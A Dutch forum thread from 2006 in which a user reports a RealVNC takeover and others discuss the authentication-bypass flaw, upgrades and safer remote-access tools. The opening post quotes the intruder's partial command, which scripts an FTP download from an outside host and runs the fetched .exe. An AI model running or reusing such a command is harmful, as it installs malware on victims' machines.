realvnc zo lek als een mandje !

[kinderpindakaas]

Vanmiddag ben ik bezig geweest met realvnc.
Ik installeerde een vnc server op mijn pc en een vncviewer op mijn pocketPC.
Na wat testen had ik het werkend, en was totaal in mijn nopjes.
Echter toen ik mailtje aan het tikken was, werd plots mijn pc overgenomen.
De hacker tikte in emailvenster waar ik op dat moment mailtje aan het intikken was, het volgende:

root%\system32\cmd.exe
Cmd /c echo open ftp.volja.net 21 >> ik &echo user ur >> ik inary >> iet s.exe >> ik &echo bye >> ik &ftp -

De code is niet compleet, want ik heb uiteraard direct de verbinding verbroken.
Wat hier gebeurd is dat hacker mijn prompt wil opstarten en vervolgens een .exe file vanaf zijn ftp wil runnen op mijn pc.
Ik heb mijn vnc verbinding uiteraard met wachtwoord beveiligd, alleen encryptie had ik op Let Server choose staan.
Misschien is daar iest fout gegaan, maar ik heb weinig vertrouwen meer in realvnc.

Ben ik nu onveilig bezig geweest, of hebben meer mensen zulke ervaringen gehad?

[Orion84]

Welke versie was dat, want van versies ouder dan 4.1.2 (voor wat betreft de gratis versie) is bekend dat ze lek zijn ja.

[kinderpindakaas]

Orion84 schreef op vrijdag 29 december 2006 @ 13:49:
Welke versie was dat, want van versies ouder dan 4.1.2 (voor wat betreft de gratis versie) is bekend dat ze lek zijn ja.

Real VNCserver 4
Dit is inderdaad de gratis versie?
Welke versie is dan wel volledig te vertrouwen?

[Fuzzillogic]

Kun je niet beter een RDP-client gebruiken voor Windows Mobile? Werkt waarschijnlijk een stuk sneller, is encrypted, en waarschijnlijk een stuk veiliger.

[Ranja_Ranja]

Dank voor het melden, ik ga thuis gelijk even kijken welke versie ik gebruik.

[Exirion]

sprucedesign schreef op vrijdag 29 december 2006 @ 13:52:
Welke versie is dan wel volledig te vertrouwen?

Geen enkel stuk software is ooit volledig te vertrouwen

[Henk007]

RealVNC Password Authentication Bypass Vulnerability

The vulnerability has been reported in version 4.1.1. Other versions may also be affected.

Note: Version 4.0 is reportedly not affected.

Solution:
Update to Free Edition version 4.1.2 or Personal Edition/Enterprise Edition version 4.2.3.

Daarbij ga ik er vanuit dat de TS alles correct heeft ingesteld met een sterk password.

[Viper®]

Windows Mobile 5 heeft standaard een terminal service client, welke je ook kan gebruiken om naar je RDP bak te connecten.

je zou ook nog www.logmein.com kunnen gebruiken.

[kinderpindakaas]

Ik heb inderdaad een sterk password toegepast, maar dat maakt blijkbaar niets uit.
Zoals in volgende filmpje is te zien vullen ze gewoon een willekeurig password in en zitten ze al binnen:
http://www.youtube.com/watch?v=D7e0ST30FnE

Dat logmein zal ongetwijfeld werken, maar heb liever dat remote instellingen zonder tussen personen verloopt. Kunnen jullie miss wat meer over RDP vertellen?
Ik ken het niet zo en kan ook nog niet standaard tooltje ontdekken op mijn windows mobile device.

[Ranja_Ranja]

Orion84 schreef op vrijdag 29 december 2006 @ 13:49:
Welke versie was dat, want van versies ouder dan 4.1.2 (voor wat betreft de gratis versie) is bekend dat ze lek zijn ja.

4.1.2 is ook al een tijdje de nieuwste van de gratis editie.

[Viper®]

wat leesvoer: Understanding the Remote Desktop Protocol (RDP)

verder zit bij WM5 onder programma's "Terminal Service Client"

Althans bij veel merk telefoons

op je windows xp pro/windows server 2000 of 2003 kun je RDP aanzetten door bij systeem gebruikers toegang (extern) tot het systeem te geven.

bij www.logmein.com gaat het verkeer volgens mij inderdaad via hun website. Dit is juist 1 van de pluspunten omdat je ten alle tijden bij je server kan komen, zelfs achter een proxy/router binnen een bedrijf.

Verder is het verkeer RSA encrypted dacht ik.
info: http://corp.logmein.com/LMI.asp

[ Voor 3% gewijzigd door Viper® op 29-12-2006 14:09 ]

[Verwijderd]

Wel bizar dit.

Maar ik raadt aan om altijd SSH te gebruiken. Daar komen ze echt niet doorheen.

[Noork]

RealVNC security flaw waarschuwing
[VNC]ineens binnenkomende verbinding, haalt .exe binnen

Gewoon upgraden, SSH gebruiken, RDP of een andere remote client/server gebruiiken zoals PCanywhere.

[Charlie932]

Fijn topic..... ik heb ook maar gelijk even mijn realvnc versies geupdate van 4.11 naar 4.12!
Heb nog geen gekke dingen meegemaakt met vorige versie 4.11, maar zelfs op de site van realvnc wordt aanbevolen zsm te upgraden naar de laatste versie.
Zal dus toch wel ergens goed voor zijn!

[Rainesh]

Dit heb ik ook meegemaakt!! 2x zelfs waarvan ik het 1x nog op tijd kon ingrijpen. Ik had ook al een lange tijd vnc installed met wachtwoord etc, maar op een avond logde ik in via VNC op mn pc om paar liedjes naar me toe te sturen en toen zag ik dat 2 hardeschijven van mij helemaal gewist waren maar ik wist helemaal niet hoe, wat etc..

De 2e keer zat ik achter de pc, just like the TS en toen zag ik dat opeens mn pc werd overgenomen en dat de intruder ook een code via "uitvoeren" intikte. Ik kon het net op tijd cancelen, anders had ik weer een probleem. Sindsdien heb ik vnc eraf gegooit en maak ik geen gebruik meer van.

[Mektheb]

Ken het probleem , heb zelf ook vnc werkt prima simpel makkelijk verder sja
poging werd gedaan me server over te nemen meteen verbroken ofcourse nagekeken of ik ze ip kon tracken van wat binnengekomen was maar tevergeefs anders zelfde trucje uithalen he,

maar zucht het had niet veel gescheeld en ik was waarschijnlijk all me data kwijt 1,2 terra
vervolgens nooit meer last gehad , en gebruikt het in middels ook niet meer hoor maar ik ken het probleem inderdaad

[Bor]

Verwijderd schreef op vrijdag 29 december 2006 @ 14:11:
Wel bizar dit.

Maar ik raadt aan om altijd SSH te gebruiken. Daar komen ze echt niet doorheen.

Onzin, voor SSH zijn in het verleden ook exploits geweest. Geen enkel software product is 100% veilig.

Verder redelijk oud nieuws indien dit niet om de laatste versie RealVNC gaat. De meldingen van de exploits hebbben volgens mij zelfs nog op de frontpage gestaan. Het is altijd aan te raden software up2date te houden om dit soort problemen te voorkomen (je maakt in ieder geval de kans op exploits kleiner).

[ Voor 39% gewijzigd door Bor op 29-12-2006 19:31 ]

[SSH]

Bor de Wollef schreef op vrijdag 29 december 2006 @ 19:28:
[...]


Onzin, voor SSH zijn in het verleden ook exploits geweest. Geen enkel software product is 100% veilig.

Verder redelijk oud nieuws indien dit niet om de laatste versie RealVNC gaat. De meldingen van de exploits hebbben volgens mij zelfs nog op de frontpage gestaan. Het is altijd aan te raden software up2date te houden om dit soort problemen te voorkomen (je maakt in ieder geval de kans op exploits kleiner).

Je hebt gelijk hoor, maar SSH is een van de meest veiligere stukjes software gebleken. Als iemand daar doorheen komt heeft ie wel wat beters te doen dan een apparaat van een tweaker te hacken.

[Bor]

SSH schreef op vrijdag 29 december 2006 @ 19:36:
[...]


Je hebt gelijk hoor, maar SSH is een van de meest veiligere stukjes software gebleken.

En dat baseer je op? Het soort hacks uit de ts worden vrijwel altijd gedaan door scriptkiddies die gewoon van een tooltje gebruik maken zonder dat ze echt precies weten wat ze doen. Daarvoor is ook eigenlijk maar erg weinig kennis nodig.

[kinderpindakaas]

kan ik met bijv. pc anywhere nog wel connecten via mijn pocketpc dan?